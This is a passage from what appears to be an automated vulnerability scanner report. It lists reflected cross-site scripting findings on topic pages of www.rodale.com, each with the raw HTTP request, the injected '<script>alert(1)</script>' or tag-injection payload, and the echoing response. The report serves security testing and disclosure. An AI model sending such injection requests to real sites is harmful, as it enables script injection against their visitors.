GET /topic/drink-recipesb1fa9"><a>896dddbec96 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:11:45 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:41:47 GMT
Date: Thu, 10 Mar 2011 17:11:47 GMT
Content-Length: 22489
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic topic-drink-recipesb1fa9"><a>896dddbec96 node node-958">
...[SNIP]...

2.445. http://www.rodale.com/topic/drink-recipes [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodale.com
Path:	/topic/drink-recipes

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 1bdbc"><script>alert(1)</script>b2f0f03aaea was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /topic/drink-recipes?1bdbc"><script>alert(1)</script>b2f0f03aaea=1 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:11:06 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:41:08 GMT
Date: Thu, 10 Mar 2011 17:11:08 GMT
Content-Length: 31607
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=rodalehealth&returnUrl=http%3A%2F%2Fwww.rodale.com/topic/drink-recipes?1bdbc"><script>alert(1)</script>b2f0f03aaea=1" title="Register" class="moreLink">
...[SNIP]...

2.446. http://www.rodale.com/topic/drinking-water [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/drinking-water

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 27247"><a>229b812aa99 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic27247"><a>229b812aa99/drinking-water HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:11:18 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:41:20 GMT
Date: Thu, 10 Mar 2011 17:11:20 GMT
Content-Length: 22513
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic27247"><a>229b812aa99 topic27247">
...[SNIP]...

2.447. http://www.rodale.com/topic/drinking-water [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/drinking-water

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 7fbe3"><a>7bebb922cdb was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic/drinking-water7fbe3"><a>7bebb922cdb HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:11:50 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:41:52 GMT
Date: Thu, 10 Mar 2011 17:11:52 GMT
Content-Length: 22492
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic topic-drinking-water7fbe3"><a>7bebb922cdb node node-958">
...[SNIP]...

2.448. http://www.rodale.com/topic/drinking-water [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodale.com
Path:	/topic/drinking-water

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 4fca5"><script>alert(1)</script>31eb0b4dde3 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /topic/drinking-water?4fca5"><script>alert(1)</script>31eb0b4dde3=1 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:11:16 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:41:18 GMT
Date: Thu, 10 Mar 2011 17:11:18 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 32987

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=rodalehealth&returnUrl=http%3A%2F%2Fwww.rodale.com/topic/drinking-water?4fca5"><script>alert(1)</script>31eb0b4dde3=1" title="Register" class="moreLink">
...[SNIP]...

2.449. http://www.rodale.com/topic/ear-health-and-hearing [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/ear-health-and-hearing

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 5ac56"><a>99058099553 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic5ac56"><a>99058099553/ear-health-and-hearing HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:11:32 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:41:34 GMT
Date: Thu, 10 Mar 2011 17:11:34 GMT
Content-Length: 22537
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic5ac56"><a>99058099553 topic5ac56">
...[SNIP]...

2.450. http://www.rodale.com/topic/ear-health-and-hearing [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/ear-health-and-hearing

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload cd9cd"><a>a1807ac27fb was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic/ear-health-and-hearingcd9cd"><a>a1807ac27fb HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:12:08 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:42:10 GMT
Date: Thu, 10 Mar 2011 17:12:10 GMT
Content-Length: 22516
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic topic-ear-health-and-hearingcd9cd"><a>a1807ac27fb node node-958">
...[SNIP]...

2.451. http://www.rodale.com/topic/ear-health-and-hearing [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodale.com
Path:	/topic/ear-health-and-hearing

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 32f69"><script>alert(1)</script>166bd1f0893 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /topic/ear-health-and-hearing?32f69"><script>alert(1)</script>166bd1f0893=1 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:11:29 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:41:32 GMT
Date: Thu, 10 Mar 2011 17:11:32 GMT
Content-Length: 31466
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=rodalehealth&returnUrl=http%3A%2F%2Fwww.rodale.com/topic/ear-health-and-hearing?32f69"><script>alert(1)</script>166bd1f0893=1" title="Register" class="moreLink">
...[SNIP]...

2.452. http://www.rodale.com/topic/elder-care [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/elder-care

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 433ff"><a>cffc771adaa was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic433ff"><a>cffc771adaa/elder-care HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:11:28 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:41:32 GMT
Date: Thu, 10 Mar 2011 17:11:32 GMT
Content-Length: 22501
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic433ff"><a>cffc771adaa topic433ff">
...[SNIP]...

2.453. http://www.rodale.com/topic/elder-care [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/elder-care

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 1cd89"><a>1ae4085a697 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic/elder-care1cd89"><a>1ae4085a697 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:12:06 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:42:07 GMT
Date: Thu, 10 Mar 2011 17:12:07 GMT
Content-Length: 22480
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic topic-elder-care1cd89"><a>1ae4085a697 node node-958">
...[SNIP]...

2.454. http://www.rodale.com/topic/elder-care [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodale.com
Path:	/topic/elder-care

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 29731"><script>alert(1)</script>aff6048714f was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /topic/elder-care?29731"><script>alert(1)</script>aff6048714f=1 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:11:25 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:41:27 GMT
Date: Thu, 10 Mar 2011 17:11:27 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 32858

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=rodalehealth&returnUrl=http%3A%2F%2Fwww.rodale.com/topic/elder-care?29731"><script>alert(1)</script>aff6048714f=1" title="Register" class="moreLink">
...[SNIP]...

2.455. http://www.rodale.com/topic/endangered-species [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/endangered-species

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 15cc5"><a>7a5ebaab5f0 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic15cc5"><a>7a5ebaab5f0/endangered-species HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:11:35 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:41:38 GMT
Date: Thu, 10 Mar 2011 17:11:38 GMT
Content-Length: 22525
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic15cc5"><a>7a5ebaab5f0 topic15cc5">
...[SNIP]...

2.456. http://www.rodale.com/topic/endangered-species [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/endangered-species

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e20b6"><a>473851f1355 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic/endangered-speciese20b6"><a>473851f1355 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:12:17 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1799
Expires: Thu, 10 Mar 2011 17:42:19 GMT
Date: Thu, 10 Mar 2011 17:12:20 GMT
Content-Length: 22504
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic topic-endangered-speciese20b6"><a>473851f1355 node node-958">
...[SNIP]...

2.457. http://www.rodale.com/topic/endangered-species [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodale.com
Path:	/topic/endangered-species

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 2e263"><script>alert(1)</script>d86777701dd was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /topic/endangered-species?2e263"><script>alert(1)</script>d86777701dd=1 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:11:29 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:41:34 GMT
Date: Thu, 10 Mar 2011 17:11:34 GMT
Content-Length: 31372
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=rodalehealth&returnUrl=http%3A%2F%2Fwww.rodale.com/topic/endangered-species?2e263"><script>alert(1)</script>d86777701dd=1" title="Register" class="moreLink">
...[SNIP]...

2.458. http://www.rodale.com/topic/energy-efficiency [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/energy-efficiency

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 1eaa9"><a>3b820d9f5cc was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic1eaa9"><a>3b820d9f5cc/energy-efficiency HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:11:30 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:41:32 GMT
Date: Thu, 10 Mar 2011 17:11:32 GMT
Content-Length: 22522
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic1eaa9"><a>3b820d9f5cc topic1eaa9">
...[SNIP]...

2.459. http://www.rodale.com/topic/energy-efficiency [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/energy-efficiency

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload cf6e3"><a>b6c71e6af06 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic/energy-efficiencycf6e3"><a>b6c71e6af06 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:12:02 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:42:04 GMT
Date: Thu, 10 Mar 2011 17:12:04 GMT
Content-Length: 22501
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic topic-energy-efficiencycf6e3"><a>b6c71e6af06 node node-958">
...[SNIP]...

2.460. http://www.rodale.com/topic/energy-efficiency [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodale.com
Path:	/topic/energy-efficiency

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d4a0b"><script>alert(1)</script>13f4b144e5b was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /topic/energy-efficiency?d4a0b"><script>alert(1)</script>13f4b144e5b=1 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:11:28 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:41:30 GMT
Date: Thu, 10 Mar 2011 17:11:30 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 33044

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=rodalehealth&returnUrl=http%3A%2F%2Fwww.rodale.com/topic/energy-efficiency?d4a0b"><script>alert(1)</script>13f4b144e5b=1" title="Register" class="moreLink">
...[SNIP]...

2.461. http://www.rodale.com/topic/erectile-dysfunction [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/erectile-dysfunction

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a2eca"><a>2e3ab3db315 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topica2eca"><a>2e3ab3db315/erectile-dysfunction HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:11:33 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:41:35 GMT
Date: Thu, 10 Mar 2011 17:11:35 GMT
Content-Length: 22531
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
